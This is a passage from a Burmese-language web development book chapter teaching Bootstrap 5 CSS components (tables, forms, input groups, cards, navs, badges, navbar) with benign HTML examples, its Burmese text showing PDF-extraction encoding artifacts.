Bootstrap  Documentation  ကိုသွားeကည့်လုိက်ရင်  Table  ကို  Component  စာရင်းထဲမှာ  ကြေတွ့ ရမှာ
မဟုတ်ပါyူး။ Content စာရင်းထဲမှာ ထည့်ထားပါတယ်။ ဒါကြေပမယ့် Table ဟာလည်းပဲ Component တစ်
ခုအကြေနနဲ့ အသုံးများပါတယ်။ သူ့အတွက် Class ကလည်း အထူးမှတ်စရာ မလုိပါyူး။ table ဆိုတဲ့ Class
ကိုပဲ သုံးရတာပါ။ ဒီလုိပါ – 

 HTML 

<table class="table">
<tr>

<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</table>

table နဲ့အတူ ပူးတွဲပြပီးသုံးeကကြေလ့ရှိတဲ့  Class  ကြေတကွြေတာ့ ရှိပါတယ်။  table-striped နဲ့  table-
bordered တိုက့ို အသံုးများeကပါတယ်။ table-striped က Row ကြေတွကို gပတဲ့အခါ တစ်ကြေeကာင်း
ကြေကျာ်စီ  အကြေရာင်ခွဲgပကြေစoုိ့  goစ်ပါတယ်။ အသံုးဝင်ပါတယ်။ ပါဝင်တဲ့အချက်အလက်များတဲ့  Table  ကြေတွမှာ
အ့ဲဒီလုိခွဲgပမှသာ အချက်အလက်ကြေတွကို  oတ်ရတာ အဆင်ကြေgပကြေစမှာ goစ်ပါတယ်။  table-bordered
ကကြေတာ့ Table ကို ကြေyာင် အgပည့်ခတ်ပြပီး gပကြေစချင်တဲ့အခါ သံုးoုိပ့ါ။ မgoစ်မကြေန ထည့်ကြေပးရမှာ မဟုတ်yဲ
လုိအပ်ရင်သုံးoုိ့ goစ်ပါတယ်။ စမ်းeကည့်လုိက်မယ်ဆိုရင် ရလဒ်ကို အခုလုိကြေတွ့gမင်ရမှာပါ။
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နမူနာမှာ  table-striped နဲ့  table-bordered တိုက့ိုပါထည့်gပထားပါတယ်။ မပါyဲလည်း စမ်း
eကည့်သင့်ပါတယ်။ ဒီကြေတာ့မှ yာကွာလဲဆိုတာကို လက်ကြေတွ့gမင်သွားမှာပါ။ Table နဲပ့က်သက်ပြပီး လုပ်လုိ့
ရတာကြေတွ  အများကြကီးရှိပါတယ်။  ဒါကြေပမယ့်  ဒီကြေနရာမှာ  အသုံးများမယ့်  လုပ်ကြေဆာင်ချက်ကြေလးကြေတွကိုသာ
ကြေရွးမှတ်ပါ။ Table မှာလည်း Color Class ကြေတွသုံးလုိရ့ပါတယ်။ ဒီလုိပါ –

နမူနာမှာကြေပးထားတဲ့ table-dark ရဲ့ dark ကြေနရာမှာ တgခား Color Class နဲ့အစားထုိးပြပီး စမ်းeကည့်လုိ့
ရပါတယ်။
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Forms
Form  ဟာလည်းပဲ  Documentation  မှာသွားeကည့်ရင်  Component  စာရင်းထဲမှာ  မပါပါyူး။  သီးgခား
ကြေခါင်းစဉ်တစ်ခုနဲ့  ခွဲကြေပးထားပါတယ်။  ဒီကြေနရာမှာကြေတာ့ တစ်ခါထဲပဲ  တွဲပြပီးကြေoာ်gပပါမယ်။  သူ့မှာ  ကြေရးစရာနဲ့
မှတ်စရာနည်းနည်းကြေတာ့ များပါတယ်။ ဒီလုိပါ –

 HTML 

<form>
<div class="mb-3">

<label for="name">Name</label>
<input type="text" id="name" class="form-control">

</div>

<div class="mb-3">
<label for="address">Address</label>
<textarea id="address" class="form-control"></textarea>
<div class="form-text">Enter your full address</div>

</div>

<div class="mb-3">
<label for="gender">Gender</label>
<select id="gender" class="form-select">

<option>Male</option>
<option>Female</option>

</select>
</div>

<button class="btn btn-primary">Submit Form</button>
</form>

ပထမဆံုး <div> မှာ ကြေပးထားတဲ့  mb-3 Class ကို သတိgပုပါ။ Margin Bottom သတ်မှတ်လုိက်တာပါ။
တစ်ခုနဲတ့စ်ခု နည်းနည်းကွာသွားကြေစoုိအ့တွက်ပါ။ အသံုးဝင်တဲ့  Utility Class goစ်ပါတယ်။ အရင် Version
ကြေတွမှာ  form-group လုိ့ကြေခါ်တဲ့  Class  တစ်ခုပါကြေပမယ့်  Bootstrap 5  မှာ  မပါကြေတာ့တာကို  ကြေတွ့ရပါ
တယ်။ ဒါကြေeကာင့်  Input Group  ကြေတွ  တစ်ခုနဲတ့စ်ခု  ကွာသွားကြေစoုိ့  mb Class  ကိုပဲ  သုံးရကြေတာ့မှာပါ။  3
ကြေနရာမှာ 1-5 ကြကိုက်တဲ့တန်oုိး ကြေgပာင်းကြေပးeကည့်ပါ။ အဓိက Input သုံးမျ ို းgoစ်တဲ့ Text Input, Textarea နဲ့
Select  တိုက့ို  နမူနာကြေပးထားပါတယ်။  Text  Input  နဲ့  Textarea  တိုအ့တွက်  form-control ဆိုတဲ့
Class ကိုသုံးပါတယ်။ Select အတွက်လည်း form-control ကိုပဲ သံုးလုိရ့ပါတယ်။ ဒါကြေပမယ့် Select
Box မှန်းကြေပါ်လွင်ကြေစတဲ့  Down Arrow ကြေလးကြေနာက်ဆံုးမှာ ပါကြေစချင်လုိ့  form-select ဆိုတဲ့  Class ကို
သုံးထားတာကို သတိgပုရမှာ goစ်ပါတယ်။
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နမူနာမှာ form-text Class ကိုသုံးထားတဲ့ Element တစ်ခုပါကြေသးတာကိုလည်း ကြေတွ့ရနိုင်ပါတယ်။ yာ
ကိုကြေရးgoည့်ရမှာလဲရှင်းgပတဲ့ ရှင်းလင်းချက်ကြေလးကြေတွ တွဲထည့်oုိအ့တွက် သင့်ကြေတာ်ပါတယ်။ ကြေနာက်ဆံုးတစ်
ခုgoစ်တဲ့  Button  ကကြေတာ့  ဟိုးအကြေပါ်မှာလည်း  တစ်ခါကြေတွ့ခဲ့oူးပြပီးသားပါ။  btn Class  ကိုသုံးပြပီး
primary ကြေနရာမှာ တgခား  Color Class  ကြေတွကို  လုိအပ်ရင် သံုးနိုင်ပါတယ်။ ရလဒ်ကို  စမ်းeကည့်လုိက်
မယ်ဆိုရင် အခုလုိကြေတွ့ရမှာပါ။

ကြေနာက်ထပ်goည့်စွက်ကြေလ့လာသင့်တာကကြေတာ့  Input  Group  လုိ့ကြေခါ်တဲ့  လု််ပကြေဆာင်ချက်goစ်ပါတယ်။
Input ကြေတွကို Button ကြေတွ၊ စာကြေတွနဲ ့ပူးတွဲပြပီး eကည့်ကြေကာင်းကြေအာင် gပတဲ့လုပ်ကြေဆာင်ချက်မျ ို းပါ။

 HTML 

<form>
<div class="input-group mb-3">

<input type="text" class="form-control">
<button class="btn btn-secondary">Search</button>

</div>

<label for="email">Enter Your Gmail Address</label>
<div class="input-group mb-3">

<input type="text" id="email" class="form-control">
<span class="input-group-text">@gmail.com</span>

</div>
</form>
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နမူနာမှာ <div> ရဲ့  Class ကို  input-group လုိ့ သတ်မှတ်ကြေပးထားတာကို သတိgပုပါ။ နမူနာနှစ်မျ ို း
ကြေပးထားပါတယ်။ ပထမတစ်ခုက Text Input နဲ့ Button ကို Input Group ထဲမှာ ထည့်လုိက်တဲ့အခါ ပူးတွဲ
ပြပီး  eကည့်ကြေကာင်းကြေအာင် gပကြေပးမှာပါ။  Button  မဟုတ်yဲ  ရုိးရုိးစာကို  Input  နဲတ့ွဲgပချင်တယ်ဆိုရင်ကြေတာ့
input-group-text Class  သတ်မှတ်ထားတဲ့  Element  ကိုသုံးတယ်ဆိုတာကို  ကြေတွ့ရနိုင်ပါတယ်။
စမ်းeကည့်လုိက်ရင် ရလဒ်ကဒီလုိgoစ်မှာပါ။

input-group-text Class သတ်မှတ်ထားတဲ့ Element ကို Input ရဲ့ကြေရှ့မှာထားလုိရ့သလုိ ကြေနာက်မှာ
ထားလုိလ့ည်း ရပါတယ်။ ကြေရှ့ကြေနာက်နှစ်ခုထည့်ချင်လည်း ရပါတယ်။ ကြေရှ့မှာချည်းပဲနှစ်ခု၊ ကြေနာက်မှာချည်းပဲ
နှစ်ခုထည့်ချင်ရင်လည်း ရတာပါပဲ။ အမျ ို းမျ ို းစမ်းeကည့်နိုင်ပါတယ်။

Bootstrap 5 Alpha 3 ကျကြေတာ့မှ စပါလာတဲ့ Floating Label လုပ်ကြေဆာင်ချက်ကိုလည်း goည့်စွက် ကြေoာ်gပ
ချင်ပါတယ်။ Bootstrap မှာ ဒီလုပ်ကြေဆာင်ချက်က အခုမှပါကြေပမယ့် လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ လူသုံးများ
ကြေနပြပီးသားပါ။  Google  ရဲ့  Material Design  လုိ့ကြေခါ်တဲ့  ကြေနာက်ထပ် ဒီဇုိင်းနည်းပညာ တစ်ခုကကြေနလာတဲ့
လုပ်ကြေဆာင်ချက်ပါ။  Android  Mobile  App  ကြေတွမှာ  ဒီလုပ်ကြေဆာင်ချက်ကို  မeကာခဏကြေတွ့ရနိုင်ပါတယ်။
ပထမ Input အတွင်းထဲမှာ Label ကရှိကြေနပြပီး Input မှာ Focus goစ်သွားကြေတာ့မှသာ Label ကြေလးက ကြေနရာ
oယ်ကြေပးတဲ့ သကြေyာနဲ ့အကြေပါ်ကြေရ£့ပြပီး gပကြေပးတဲ့ လုပ်ကြေဆာင်ချက်goစ်ပါတယ်။ အခုလုိကြေရးရပါတယ်။
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 HTML 

<div class="form-floating mb-3">
  <input type="text" class="form-control" id="name"
         placeholder="Your Name">
  <label for="name">Your Name</label>
</div>
<div class="form-floating">
  <input type="text" class="form-control" id="email"
         placeholder="Email Address">
  <label for="email">Email Address</label>
</div>

ပင်မ Element မှာ form-floating Class ပါဝင်ပြပီး Input ကြေတွမှာ placeholder Attribute ပါတာ
ကို  သတိgပုပါ။  Placeholder  ကို  အရင်gပပြပီး  Focus  goစ်ကြေတာ့မှ  <label> ကို  ကြေgပာင်းgပကြေပးမှာ goစ်ပါ
တယ်။ Placeholder မပါyဲလည်း စမ်းeကည့်နိုင်ပါတယ်။

Button Groups & Pagination
Button Group  ကို  Toolbar  ပုံစံ  Button  ကြေတွစုoဲွ့ပြပီး သပ်သပ်ရပ်ရပ်gပကြေစလုိတဲ့အခါ သံုးနိုင်ပါတယ်။ သူ
ကကြေတာ့ မှတ်ရလွယ်ပါတယ်။ ထူးထူးဆန်းဆန်း မဟုတ်ပါyူး။ btn-group ထဲမှာ btn ကြေတွကို စုစည်း
ကြေပးလုိက်တာပါပဲ။ ဒီလုိပါ –
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 HTML 

<div class="btn-group">
<a href="#" class="btn btn-primary">Left</a>
<a href="#" class="btn btn-primary">Center</a>
<a href="#" class="btn btn-primary">Right</a>

</div>

<button> Element  ကိုမသုံးyဲ  <a> Element  ကြေတွကို သုံးထားတာကို သတိgပုပါ။ ကိုယ့်လုိအပ်ချက်
ကြေပါ်မူတည်ပြပီး ကြကိုက်တဲ့  Element ကိုသုံးပါ။ သုံးလုိရ့ပါတယ်။ btn ကြေတွမှာ Color Class ကြေတွသုံးတဲ့အခါ
Background  Color  နဲ့  gပကြေပးတာကို  ကြေတွ့ ခဲ့eကပြပီး  goစ်ပါလိမ့်မယ်။  Background  Color  နဲ့မဟုတ်yဲ
Border Color နဲ့gပကြေစချင်ရင်လည်းရပါတယ်။ ဒီလုိကြေရးရပါတယ် –

 HTML 

<div class="btn-group">
<a href="#" class="btn btn-outline-primary">Left</a>
<a href="#" class="btn btn-outline-primary">Center</a>
<a href="#" class="btn btn-outline-primary">Right</a>

</div>

Pagination ဆိုတာကကြေတာ့ Content ကြေတွများလုိ့ ခွဲပြပီးgပတဲ့အခါ 1, 2, 3, 4 စသgoင့် လုိချင်တဲ့စာမျက်နှာ
ကို သွားလုိရ့တဲ့ ခလုပ်ကြေလးကြေတွပါ။ ကြေတွ့ oူးeကပါလိမ့်မယ်။ သူက Button Group နဲ ့ကြေရးသားပံု မတူကြေပမယ့်
ကြေoာ်gပပုံဆင်တူပါတယ်။ ဒါကြေeကာင့် တစ်ခါထဲအတွဲလုိက် ထည့်eကည့်ချင်ပါတယ်။ <ul><li> <a>  တို့
ကို အသုံးgပုပြပီး အခုလုိကြေရးရပါတယ်။

 HTML 

<ul class="pagination">
<li class="page-item">

<a href="#" class="page-link">1</a>
</li>
<li class="page-item">

<a href="#" class="page-link">2</a>
</li>
<li class="page-item">

<a href="#" class="page-link">3</a>
</li>

</ul>
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<ul> အတွက်  pagination Class  ကိုသတ်မှတ်ကြေပးရပါတယ်။  <li> အတွက်  page-item ကို
သတ်မှတ်ကြေပးရပြပီး <a> အတွက် page-link ကို သတ်မှတ်ကြေပးရgခင်း goစ်ပါတယ်။ မှတ်စရာ (၃) ခုgoစ်
သွားကြေပမယ့် မှတ်ရကြေတာ့ မခက်လှပါyူး။ ဒါကြေတွအားလုံးကို ကြေပါင်းပြပီး အခုလုိ နမူနာစမ်းeကည့်နိုင်ပါတယ်။

Cards
Card Component ကကြေတာ့ တစ်ချ ို ့ စုoဲွ့ပြပီး အတွဲလုိက်gပရမယ့်အချက်အလက်ကြေတွ gပoုိ့အတွက် သံုးရတဲ့
Component ပါ။ ကြေခါင်းစဉ်၊ စာကိုယ်၊ ခလုပ်၊ လင့်၊ ပံု စသgoင့် သင့်ကြေတာ်သလုိ တွဲoက်ကြေoာ်gပoုိ့ လုိအပ်ရင်
သုံးရတာပါ။ အသံုးဝင်ပါတယ်။ ကြေခါင်းစဉ်၊ စာကိုယ်နဲ့ ခလုပ်တစ်ခုပါတဲ့ Card တစ်ခုကို အခုလုိoန်တီးယူနိုင်
ပါတယ်။

 HTML 

<div class="card">
<div class="card-body">

<h5 class="card-title">Card Title</h5>
<p>Some card content</p>
<a href="#" class="btn btn-primary">More...</a>

</div>
</div>
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ပင်မ Element မှာ card Class ကို သတ်မှတ်ကြေပးရပြပီး၊ ကျန်တဲ့ ကြေခါင်းစဉ်ကြေတွ စာကိုယ်ကြေတွ အကုန်လုံးကို
card-body ထဲမှာ အကုန်စုထည့် ကြေပးလုိက်တာပါ။ ကြေခါင်းစဉ်အတွက်  card-title Class  ကိုသုံးပါ
တယ်။ card-subtitle လည်း လုိအပ်ရင်သံုးလုိရ့ပါကြေသးတယ်။ ခလုပ်ကိုကြေတာ့ btn Class ပဲသုံးထား
ပြပီး Link ကြေတွထည့်ချင်ရင် card-link Class ကို btn အစားသုံးနိုင်ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်
ကို အခုလုိကြေတွ့gမင်ရမှာပါ –

Card အတွင်းထဲမှာ Header, Body နဲ ့Footer ဆိုပြပီး အပုိင်းလုိက်ခွဲထည့်ချင်ရင်လည်း ထည့်လုိရ့ပါတယ်။

 HTML 

<div class="card">
<div class="card-header">

<strong>Card Header</strong>
</div>
<div class="card-body">

Some card content
</div>
<div class="card-footer">

<small>Card Footer</small>
</div>

</div>
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card-header, card-body, card-footer Class ကြေတွကို သူ့ကြေနရာနဲသူ့ သံုးကြေပးလုိက်တာပါ။
စမ်းeကည့်လုိက်မယ်ဆိုရင် အခုလုိ အပုိင်းလုိက်ခွဲပြပီးကြေoာ်gပကြေပးတဲ့ ရလဒ်ကိုရရှိမှာgoစ်ပါတယ်။

List ကြေတွ Table ကြေတွ Image ကြေတွကိုလည်း Card နဲတ့ွဲပြပီး သုံးချင်ရင် သံုးလုိရ့ပါကြေသးတယ်။ ဒီလုိပါ –
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နမူနာမှာ list-group Component ကို Card ထဲမှာ ထည့်သံုးထားပါတယ်။ list-group-flush
Class  ကို  တွဲကြေပးထားတာသတိgပုပါ။  list-group မှာ  ကြေyးကြေyာင်ကြေတွကို  မပါကြေစချင်ရင်  သံုးရတဲ့
Class goစ်ပါတယ်။ List မှာ ကြေyးကြေyာင်ကြေတွပါကြေနရင် Card ရဲ့ကြေyာင်နဲ့ကြေရာပြပီး နှစ်ထပ်goစ်သွားရင် eကည့်မ
ကြေကာင်းလုိ့  ဒီ  Class  ကို  တွဲထည့်ကြေပးထားတာပါ။  Card  ကြေတွကို  အကြေရာင်ကြေတွခွဲပြပီး  သုံးချင်ရင်ကြေတာ့  bg,
text, border စတဲ့ Utility Class ကြေတွကို သုံးနိုင်ပါတယ်။ ဒီလုိပါ –

နမူနာမှာ  bg-primary ကိုသုံးပြပီး  အကြေရာင်ကြေgပာင်းထားပါတယ်။  တgခား  Color  Class  ကြေတွထဲက
နှစ်သက်ရာကို  သံုးနိုင်ပါတယ်။ ကြေနာက်ခံ  အကြေရာင်ထည့်ထားကြေတာ့ စာကြေတွမဲကြေနရင် oတ်ရတာအဆင်မကြေgပ
လုိ့ text-light ကိုသုံးထားပါတယ်။ သူလည်းပဲ လုိအပ်ရင်တgခား Color Class ကြေတွ သုံးနိုင်ပါတယ်။ 

ကြေနာက်ခံအကြေရာင်  အgပည့်မထည့်လုိပဲ  Border  ကြေလာက်ကိုပဲအကြေရာင်ကြေgပာင်းရင်လည်း  eကည့်လုိ့ကြေကာင်းပါ
တယ်။  border-success လုိ  Class  မျ ို းထည့်ပြပီး  စမ်းeကည့်နိုင်ပါတယ်။  ထံုးစံအတိုင်း  success
အစား နှစ်သက်ရာ Color Class နဲ့သုံးလုိရ့နိုင်ပါတယ်။
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Navs & Tabs
ဆက်eကည့်မှာကကြေတာ့  Tab UI  အကြေeကာင်းပါ။ အသုံးဝင်ပြပီး  ကြေနရာတိုင်းမှာ ကြေတွ့gမင်ရတဲ့လုပ်ကြေဆာင်ချက်
တစ်ခု goစ်ပါတယ်။  Bootstrap  ကကြေတာ့  Navs  လုိ့ကြေခါ်ပါတယ်။ သူလည်းပဲ  <ul><li><a> ကိုသုံးရပါ
တယ်။ ဒီလုိပါ –

 HTML 

<ul class="nav nav-tabs">
<li class="nav-item">

<a href="#" class="nav-link active">All User</a>
</li>
<li class="nav-item">

<a href="#" class="nav-link">All User</a>
</li>
<li class="nav-item">

<a href="#" class="nav-link">All User</a>
</li>

</ul>

မှတ်စရာများကြေပမယ့် မှတ်ရလွယ်ပါတယ်။ ပင်မ <ul> အတွက်  nav nav-tabs ဆိုတဲ့  Class ကြေတွကို
ကြေပးရပြပီး  <li> ကြေတွအတွက်  nav-itemကိုကြေပးရပါတယ်။ <a> ကြေတွအတွက်ကြေတာ့ nav-link Class
ကို သတ်မှတ်ကြေပးရပါတယ်။ active Class ကကြေတာ့ လက်ရှိ ကြေရွးထားသကဲ့သုိ့ ကြေoာ်gပကြေစလုိတဲ့ တစ်ခုမှာ
သတ်မှတ်ကြေပးရတာပါ။ စမ်းeကည့်ရင် ရလဒ်ကို အခုလုိကြေတွ့ရမှာ goစ်ပါတယ်။
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နမူနာမှာ  Tab ကြေတွက yယ်yက်တစ်gခမ်းမှာ စုoဲွ့ပြပီး ကြေနရာယူထားတာပါ။  Screen  အgပည့် ကြေနရာယူကြေစ
ချင်ရင်ကြေတာ့ nav-fill Class ကို သုံးကြေပးနိုင်ပါတယ်။

 HTML 

<ul class="nav nav-tabs nav-fill">
...

</ul>

nav-tabs အစား nav-pills ကိုလည်း သုံးနိုင်ပါတယ်။ 

 HTML 

<ul class="nav nav-pills">
… 

</ul>

တူညီတဲ့ပုံစံနဲ့ပဲအလုပ်လုပ်ကြေပမယ့်  Tab UI  ပုံစံကြေတာ့ မဟုတ်ကြေတာ့ပါyူး။  Item  ကြေလးကြေတွက ကြေထာင့်ကြေကွး
Pill Box ကြေလးကြေတွပုံစံ goစ်သွားတာပါ။ 
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ဒီကြေနရာမှာ  သတိgပုရမှာကကြေတာ့၊  လက်ရှိကြေလ့လာကြေနတာဟာ  Tab  UI  ကြေတွ  Pill  UI  ကြေတရွဲ့  ကြေoာ်gပပုံ
အသွင်အgပင်ကိုသာ ကြေလ့လာကြေနgခင်းgoစ်ပါတယ်။ လက်ကြေတွ့အလုပ်လုပ်oုိက့ကြေတာ့ JavaScript နဲ့ ဆက်စပ်
နည်းပညာကြေတွ လုိအပ်ပါကြေသးတယ်။ CSS ချည်းသက်သက်နဲ ့အလုပ်လုပ်မှာ မဟုတ်ပါyူး။

Badge
တစ်လက်စထဲ  Notification  ကြေတွမှာ  ကြေတွ့ရကြေလ့ရှိပြပီး  Count  အကြေရအတွက်  ကြေoာ်gပရာမှာသုံးကြေလ့ရှိတဲ့
Component  ကြေလးတစ်ခုကို  ဆက်eကည့်eကပါမယ်။  Bootstrap  က  Badge  လုိ့ကြေခါ်ပါတယ်။ စမ်းလက်စ
Tab နဲ့ အခုလုိတွဲပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 HTML 

<ul class="nav nav-tabs">
<li class="nav-item">

<a href="#" class="nav-link active">
All User
<span class="badge bg-primary rounded-pill">20</span>

</a>
</li>
… 

</ul>

<span> Element  မှာ  badge  Class  သုံးကြေပးလုိက်တာပါ။  အကြေရာင်အတွက်  bg နဲအ့တူ  နှစ်သက်ရာ
Color Class  ကို  တွဲသုံးနိုင်ပါတယ်။ နမူနာမှာကြေပးထားတဲ့  rounded-pill ကကြေတာ့ ပုိဝုိင်းသွားကြေအာင်
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ထည့်ကြေပးထားတာပါ။  မထည့်လည်းရပါတယ်။  rounded-pill မပါရင်ကြေတာ့  ကြေoာ်gပပုံက  နည်းနည်း
ကြေလးကြေထာင့် ပုိဆန်ကြေနမှာပါ။ မိမိနှစ်သက်ရာကို အသံုးgပုနိုင်ပါတယ်။ သူ့ကြေoာ်gပပုံက ဒီလုိgoစ်မှာပါ –

ဒါကြေလးကလည်း အကြေသးအoဲွ့ကြေလးကြေပမယ့် အသုံးဝင်တဲ့ လုပ်ကြေဆာင်ချက်တစ်ခု goစ်ပါတယ်။

Navbar or Menubar
ဒီအခန်းမှာ  ကြေလ့လာမယ့်  Component  ကြေတွထဲမှာ  ကြေနာက်ဆံုးတစ်ခုအကြေနနဲ့  Menubar  အသုံးgပုပံုကို
ကြေလ့လာeကပါမယ်။  Menubar  ဆိုတာ ပကြေရာင်္ဂျက်တိုင်းမှာ  လုိအပ်တဲ့လုပ်ကြေဆာင်ချက်တစ်ခု  goစ်ပါတယ်။
Bootstrap  မှာ  Navbar  လုိ့ကြေခါ်ပါတယ်။  တစ်ကယ်ကြေတာ့  Navbar  ရဲ့  အလုပ်လုပ်ပံု  ပြပီးgပည့်စံုoုိအ့တွက်
JavaScript လုိပါတယ်။ JavaScript Component ကြေတွအကြေeကာင်းကို ကြေနာက်တစ်ခန်းကျကြေတာ့မှ သပ်သပ်
ကြေgပာမှာပါ။ ဒီမှာထည့် မကြေgပာကြေသးပါyူး။ ဒါကြေeကာင့် JavaScript မလုိတဲ့ကြေoာ်gပပုံကိုပဲ မှတ်ထားကြေပးပါ။

Navbar  တစ်ခုရရှိoုိအ့တွက် ပင်မ Element မှာ Class (၄) ခု ကြေပးoုိ့ လုိပါတယ်။ navbar, navbar-
expand-{size} navbar-{textcolor}, bg-{color} တို့goစ်ပါတယ်။  နမူနာမှာ  ပင်မ
Element  အကြေနနဲ့  <nav> ကိုသုံးပါမယ်။  Navigation  Menu  goစ်လုိ့  <nav> နဲ့ပုိသင့်ကြေတာ်တဲ့အတွက်
<nav> ကို သုံးထားကြေပမယ့် <div> သုံးရင်လည်း ရပါတယ်။ 
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 HTML 

<nav class="navbar navbar-expand-sm navbar-dark bg-primary">

<div class="container-fluid">

<a href="#" class="navbar-brand">App Title</a>

<ul class="navbar-nav">
<li class="nav-item">

<a href="#" class="nav-link active">Home</a>
</li>
<li class="nav-item">

<a href="#" class="nav-link">About</a>
</li>

</ul>
</div>

</nav>

navbar-expand-{size} အတွက်  navbar-expand-sm လုိ့ကြေပးထားပါတယ်။  sm ဆိုတာ
Screen  ရဲ့  Size  ကိုကြေgပာတာပါ။ တgခား  lg, md စသgoင့်  Size  ကြေတွရှိပါကြေသးတယ်။  Layouts  အခန်း
ကြေရာက်ကြေတာ့မှ  ဒီအကြေeကာင်းကြေတွ  ကြေgပာgပပါမယ်။  ကြေလာကြေလာဆယ်ကြေတာ့  ကြေပးထားတဲ့အတိုင်းပဲ  စမ်းeကည့်
ကြေပးပါ။  စာကြေတွကို  အgoူကြေရာင်ကြေoာ်gပကြေစချင်လုိ့  navbar-light ကိုသုံးထားပြပီး  ကြေနာက်ခံအကြေရာင်
အတွက်ကကြေတာ့ bg နဲအ့တူ ကြကိုက်တဲ့  Color Class ကို တွဲသံုးလုိရ့ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်က
ဒီလုိgoစ်မှာပါ –



PWD 2023 – အခန်း (၄) – Bootstrap CSS Components 121

အထဲမှာ  container-fluid လုိ့ကြေပးထားတဲ့  <div> တစ်ထပ်  ပါကြေသးတာကို  သတိgပုပါ။  အ့ဲဒီ
အကြေeကာင်းကိုလည်း Layouts အကြေeကာင်း ကြေgပာကြေတာ့မှ ရှင်းgပပါမယ်။ အခုကြေတာ့ ကြေပးထားတဲ့အတိုင်းပဲ စမ်း
eကည့်ကြေပးပါ။ အထဲမှာ  navbar-brand Class  ကိုသုံးထားတဲ့  <a> Element  တစ်ခု ပါပါတယ်။ ကိုယ့်
App ရဲ့အမည်ကိုသတ်မှတ်ကြေပးoုိအ့တွက် သုံးရတဲ့ Class goစ်ပါတယ်။ ဆက်လက်ထည့်သွင်းထားတဲ့ Menu
ရဲ့oဲွ့စည်းပံုကကြေတာ့  ပြပီးခဲ့တဲ့  Tab  မှာတံုးက  ကြေရးသားပုံနဲအ့တူတူပါပဲ။  nav  nav-tabs အစား
navbar-nav ကိုသုံးကြေပးရတာတစ်ခုပဲ ကွာမှာgoစ်ပါတယ်။

လက်ရှိကြေoာ်gပခဲ့သမျှကြေတွထဲမှာ  အရှုပ်ဆံုး  Component  goစ်ပါတယ်။  ဒါကြေတာင်  အတတ်နိုင်ဆံုး  မလုိတာ
ကြေတခွျန်ပြပီး  မgoစ်မကြေန  လုိတာကြေတခွျည်းပဲ  ကြေရးွကြေပးထားတာပါ။  Navbar  နဲပ့က်သက်ပြပီး  ကြေနာက်ထပ်
အသုံးဝင်နိုင်တဲ့ လုပ်ကြေဆာင်ချက်ကကြေတာ့ sticky-top လုပ်ကြေဆာင်ချက်goစ်ပါတယ်။

 HTML 

<nav class="navbar navbar-expand-sm sticky-top navbar-dark bg-primary">
… 

</nav>

တစ်ချ ို ့  App  ကြေတွမှာ ကြေတွ့oူးပါလိမ့်မယ်။  Scroll  ဆွဲလုိက်တဲ့အခါ ဟိုးအကြေပါ်က Bar  က ကြေပျာက်မသွားyဲ
အကြေပါ်ဆံုးမှာ  အပြမဲတမ်းကြေoာ်gပကြေနတဲ့  လုပ်ကြေဆာင်ချက်မျ ို းပါ။  အ့ဲဒါကို  Sticky  Top  လုိ့  ကြေခါ်တာပါ။  စမ်း
eကည့်နိုင်oုိ့အတွက် CSS နည်းနည်း ကြေရးထည့်ကြေပးရပါမယ်။
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နမူနာ  body ရဲ့  height ကို  2000px လုိ့ကြေပးလုိက်တဲ့အတွက်  Screen  မှာ မဆန့်ကြေတာ့လုိ့  Scrollbar
ကြေပါ်လာပါလိမ့်မယ်။  Scroll  ဆွဲeကည့်လုိက်ရင် Navbar  က ကြေပျာက်မသွားyဲ ကြေနရာမှာအပြမဲတမ်း ရှိကြေနတာ
ကို ကြေတွ့ရမှာ goစ်ပါတယ်။

အခုဆိုရင် ဒီအခန်းမှာကြေoာ်gပချင်တဲ့ Component ကြေတွစံုသွားပါပြပီ။ ဒီကြေလာက်ကြေလ့လာမိပြပီဆိုရင် Bootstrap
ရဲ့ အကူအညီနဲ့ လက်ကြေတွ့အသုံးဝင်တဲ့  App UI ကြေတွကို gမန်gမန်ဆန်ဆန်နဲ့ အလွယ်တစ်ကူ ရရှိနိုင်တယ်ဆို
တာကို  သတိgပုမိကြေလာက်ပါပြပီ။  တစ်ချ ို ့  အသံုးနည်းတဲ့  Component  ကြေတကွြေတာ့  ချန်ထားခဲ့ပါတယ်။  မ
လုိအပ်yဲ  မှတ်စရာကြေတွ များပြပီး  ကြေရာကုန်မှာစိုးလုိပ့ါ။  ဒီကြေလာက် အစ ရသွားပြပီဆိုရင်  ကျန်ကြေနတာကြေတွက
ကိုယ့်yာသာ ဆက်eကည့်သွားလုိ့ ရကြေနပါပြပီ။

JavaScript  နဲတ့ွဲသုံးoုိလုိ့တဲ့  Component  ကြေတွရှိပါကြေသးတယ်။  ကြေနာက်တစ်ခန်း  ခွဲပြပီးကြေတာ့  ဆက်လက်
ကြေoာ်gပကြေပးမှာပါ။  Layouts  နဲ့ပက်သက်တဲ့အကြေeကာင်းကြေတွ၊ အသုံးဝင်တဲ့  Utility Classes  အကြေeကာင်းကြေတွနဲ့
Icons  ကြေတွအကြေeကာင်းလည်း ကြေgပာoုိက့ျန်ပါကြေသးတယ်။ ကြေနာက်အခန်းကြေတွမှာ သူ့ကြေနရာနဲသူ့ ဆက်ပြပီးကြေတာ့
ကြေoာ်gပကြေပးသွားပါမယ်။
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အခန်း (၅) – Bootstrap JavaScript Components

Bootstrap မှာ  JavaScript  ကို အသုံးgပုထားတဲ့  Components  ကြေတွ ပါပါတယ်။ JavaScript  အကြေeကာင်း
ကို  ကြေနာက်တစ်ပုိင်းကျမှ  ကြေလ့လာeကမှာပါ။  ဒါကြေပမယ့် အခုမသိကြေသးရင်လည်း ကိစ္စမရှိပါyူး။  Bootstrap
က JavaScript    ကုဒ်ကြေတွ ကြေရးစရာမလုိyဲ သူ့ရဲ့    JavaScript Components    ကြေတွကို အသုံးgပုလုိ့ ရကြေအာင်  
စီစဉ်ကြေပးထားပါတယ်။  ပထမဆံုးအကြေနနဲ့  JavaScript  Component  ကြေတွကို  စမ်းသပ်အသံုးgပုနိုင်oုိ့
Bootstrap  JavaScript  oုိင်ကို  CDN  ကကြေန ချတိ်ကြေပးoုိ့  လုိပါလိမ့်မယ်။  CSS  တံုးကလုိပဲ  Codepen  ရဲ့
